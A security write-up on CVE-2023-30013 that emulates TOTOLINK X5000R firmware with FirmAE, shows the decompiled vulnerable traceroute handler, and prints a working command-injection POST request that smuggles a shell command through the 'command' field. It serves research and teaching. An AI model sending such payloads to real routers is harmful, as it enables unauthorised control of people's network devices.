Overview
Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router. They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.
I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.
In my case, I settled for FirmAE, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.
Ok let’s go down to business and do some analysis and emulation with FirmAE.
I installed FirmAE on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE installation otherwise you will not be able to extract the firmware.
Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102 and .V9.1.0u.6369_B20230113
UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar, so please use V9.1.0u.6118_B20201102.zip for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.
- Wireless Dual Band Gigabit Router model A7000R with firmware
A7000R_V9.1.0u.6115_B20201022.zip - Wireless Dual Band Gigabit Router model A3700R with firmware
A3700R_V9.1.2u.6134_B20201202.zip - Wireless N Router model N200RE V5 with firmware
N200RE_V5_V9.3.5u.6095_B20200916.zipandN200RE_V5_V9.3.5u.6139_B20201216.zip - Wireless N Router model N350RT with firmware
N350RT_V9.3.5u.6095_B20200916.zipandN350RT_V9.3.5u.6139_B20201216.zip - Wireless Extender model EX1200L with firmware
EX1200L_V9.3.5u.6146_B20201023.zip - And probably more looking at the scale of impacted devices
We are now ready to start the emulation. With FirmAE, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…
TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC in firmae.config to false (however, not necessary to make below work).
# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip
[*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/mem: File exists
mknod: /dev/kmem: File exists
mknod: /dev/null: File exists
mknod: /dev/random: File exists
mknod: /dev/urandom: File exists
mknod: /dev/console: File exists
mknod: /dev/ptmx: File exists
mknod: /dev/ttyS0: File exists
mknod: /dev/ttyS1: File exists
mknod: /dev/ppp: File exists
mknod: /dev/mtd0: File exists
mknod: /dev/mtd1: File exists
mknod: /dev/mtd2: File exists
mknod: /dev/mtd3: File exists
mknod: /dev/mtd4: File exists
mknod: /dev/mtd5: File exists
mknod: /dev/mtd6: File exists
mknod: /dev/mtdblock0: File exists
mknod: /dev/mtdblock1: File exists
mknod: /dev/mtdblock2: File exists
mknod: /dev/mtdblock3: File exists
mknod: /dev/mtdblock4: File exists
mknod: /dev/mtdblock5: File exists
mknod: /dev/mtdblock6: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!
[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... None false false -1 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
[*] firmware - X5000R_V9.1.0u.6118_B20201102
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[-] failed to connect netcat
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat to access your running firmware and run below commands to check the network configuration.
>1
/ # brctl show
brctl show
bridge name bridge id STP enabled interfaces
br0 8000.525400123458 yes eth2
/ # ifconfig -a
ifconfig -a
br0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:58
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:1980 (1.9 KiB)
eth3 Link encap:Ethernet HWaddr 52:54:00:12:34:59
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
ip6tnl0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
NOARP MTU:1452 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
tunl0 Link encap:UNSPEC HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
/ #
In my case, there were two issues, first of all the bridge command showed eth2 instead eth0 and br0 did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.
/ # brctl addif br0 eth0
brctl addif br0 eth0
/ # brctl show
brctl show
bridge name bridge id STP enabled interfaces
br0 8000.525400123456 yes eth2
eth0
/ # ifconfig eth0 up
ifconfig eth0 up
/ # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
/ #
You should now be able to ping the network address 192.168.0.1 from your host and run a nmap command to check the services.
# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms
^C
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.0.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
23/tcp filtered telnet
80/tcp filtered http
8080/tcp filtered http-proxy
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
nmap shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi file that you can find in the www directory at the emulated firmware.
/www/cgi-bin # ls -l
ls -l
-rwxrwxr-x 1 root root 455 Nov 2 2020 ExportSettings.sh
-rwxrwxr-x 1 root root 251300 Nov 2 2020 cstecgi.cgi
lrwxrwxrwx 1 root root 15 Nov 2 2020 custom.cgi -> /tmp/custom.cgi
/www/cgi-bin #
To analyze, you can load this IDA or Ghidra to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra where the parameter command is not properly escaped when it is executed using the doSystem command which is basically an OS command call to the underlying Linux OS.
undefined4 FUN_0041f6a0(undefined4 param_1)
{
undefined2 *param3;
undefined2 *__nptr;
int param2;
char acStack_90 [128];
memset(acStack_90,0,0x80);
param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com");
__nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70);
param2 = atoi((char *)__nptr);
sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3);
doSystem(acStack_90);
setResponse(&DAT_00436104,"reserv",param2,param3);
return 1;
}
Besides reverse engineering using Ghidra or IDA, you can use the firmware analysis functionality provided by FirmAE. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit to find vulnerable code.
Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST request with a manipulated command parameter using burpsuite.
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 77
Origin: http://192.168.0.1
Connection: close
{"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}
Below is a valid response.
HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 Sep 2015 16:37:50 GMT
Server: lighttpd/1.4.20
Content-Length: 234
traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets
1 localhost.localdomain (127.0.0.1) 4.842 ms 0.195 ms 0.192 ms
{
"success": true,
"error": null,
"lan_ip": "192.168.0.1",
"wtime": "0",
"reserv": "reserv"
}
However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt successfully created.
/tmp # ls -l *.txt
ls -l *.txt
-rw-rw-rw- 1 root root 7 Sep 13 16:37 cuckoo.txt
/tmp # cat cuckoo.txt
cat cuckoo.txt
cuckoo
/tmp #
A Metasploit module for this exploit is in development. You can find the module here in my local repository or as PR 18365 at the Metasploit GitHub development.
Remediation
You should update your TOTOLINK X5000R router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.
References
- CVE-2023-30013
- FirmAE
- FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
- Firmware Analysis Toolkit (FAT)
- Firmadyne
- TOTOLINK X5000R Firmware
Credits
Kazamayc And to all other good fellows who raised this concern